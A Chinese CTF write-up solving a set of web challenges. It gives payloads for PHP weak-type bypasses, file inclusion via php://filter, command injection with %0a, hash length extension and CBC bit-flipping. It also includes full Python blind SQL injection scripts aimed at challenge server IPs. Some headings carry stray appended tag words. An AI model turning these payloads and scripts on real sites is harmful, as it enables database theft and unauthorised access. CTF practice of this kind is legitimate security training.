比较数字大小php
F12 修改maxlength为4python
web01mysql
strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言 在==比较的时候,若是有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,因此绕过题目限制。web
payload: get: /?password[]=1sql
本地的诱惑数据库
右键查看源代码便可。数组
你能跨过去吗?服务器
复制callback参数内容 base64解码获得<script>alert("key:/%nsfocusXSStest%/")</script> 复制key的内容 提交获得flag;cookie
一切都是套路ide
访问/index.php.txt获得源代码:
变量覆盖漏洞($$):
get: ?_200=flag
post: flag=x
你能绕过吗
更改f参数的内容发现会报错,猜想是文件包含漏洞
用php伪协议来读取flag.通过测试发现题目过滤了php 因此用PHP://filter/convert.base64-encode/resource=index,解码读到flag。
web02
burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 获得flag。
根据题目要求 ping 猜想是命令注入漏洞,过滤了; & |等特殊符号 利用%0a(换行)进行绕过
用 ls / 命令查看目录
最后在 /home目录下发现flag payload: /?ip=127.0.0.1%0a cat /home/flag获得flag
/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;
?username[]=0&password=1e9
点击我的信息页面,宽字节注入,能够盲注也能够联合查询注入。 当时写了个脚本盲注的。
import re import requests cname = '' flag = '' url = 'http://118.190.152.202:8015/index.php?id=1%df' payload = "' and ascii(substr(({p}),{m},1))={n}%23" list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44] for i in range(1,46): for ss in list: p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss) u = requests.get(url+p) if "head.jpg" in u.content: cname += chr(ss) print cname break for i in range(1,23): for l in list: pp = payload.format(p='select flag from admins',m=i,n=l) u = requests.get(url+pp) if "head.jpg" in u.content: flag += chr(l) print flag break
/show.php?img=1.jpg 复制图片地址 文件包含漏洞。
因为不包含.jpg文件提示File not found! resource能够包含两个文件 因此绕过
payload: php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码获得flag。
直接给出源代码,因为key的值不知道 可是咱们知道key的 长度为46,利用hash长度扩展攻击
编码后的username: guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb
cbc字节翻转攻击
/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。
import urllib import base64 #a:2:{s:8:"userna #me";s:5:"admiN"; #s:8:"password";s #:6:"123456";} cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D")) iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D")) newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:] print urllib.quote(base64.b64encode(newcipher)) jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==')) mingwen = 'a:2:{s:8:"userna' newiv = '' for i in range(0,16): newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) print urllib.quote(base64.b64encode(newiv))
先用admiN 123456登陆
在地址栏处回车(不要刷新,不然cipher 和iv会刷新)并用burp抓包。
将iv 和 cipher放入脚本中 获得新的 cipher 修改cookie中的 cipher 获得报错信息中的 cipher。
复制报错信息中的cipher到脚本中 运行获得新的iv 修改iv为新的iv 且cipher为第一次脚本运行获得的cipher。获得flag;
为何这么简单啊
根据提示利用 xff ip地址伪造和referer 便可进入第二关。
右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交获得flag。
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码获得: xinyiji.com
php是世界上最好的语言
用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(能够看我以前写过的php知识点总结)
点击获得
利用全局变量打印出$flag变量便可。
Sqli
题目说的很明确 就是注入了。通过测试发现是盲注 因而写了个脚本跑出密码登陆。
解密: u4g009
提示在另外一个字段,(真他妈坑啊),这里直接联合查询注入就能够了。
顺便附上我写的垃圾盲注脚本
import requests tname = '' pwd = '' url = 'http://118.190.152.202:8011/index.php' payload = "admin' and ascii(substr(({s}),{m},1))={n}#" fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz') # for i in range(1,10): # for k in fuzz: # p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k)) # u = requests.post(url,data = {'username':p,'password':'admin'}) # if 'normal' in u.content: # tname += k # print tname # break for i in range(1,33): for k in fuzz: p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k)) u = requests.post(url,data = {'username':p,'password':'admin'}) if 'normal' in u.content: pwd += k print pwd break
有种你来绕
根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注获得密码。
写了个脚本跑出密码登陆。
import requests url = "http://118.190.152.202:8019/login.php" payload = "1'-(ascii(mid((passwd)from({0})))={1})-'" password = '' fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(1,33): for k in fuzz: p = payload.format(i,ord(k)) u = requests.post(url,data = {'uname':p,'passwd':'admin'}) if not 'username' in u.content: password += k print password
解密: nishishabi1438 (我他妈想打死傻逼出题人)
输入flag,执行便可。
web400 Only Admin 是cookie注入,可是本身没怎么看,等其余师傅分享wp再学习一波吧。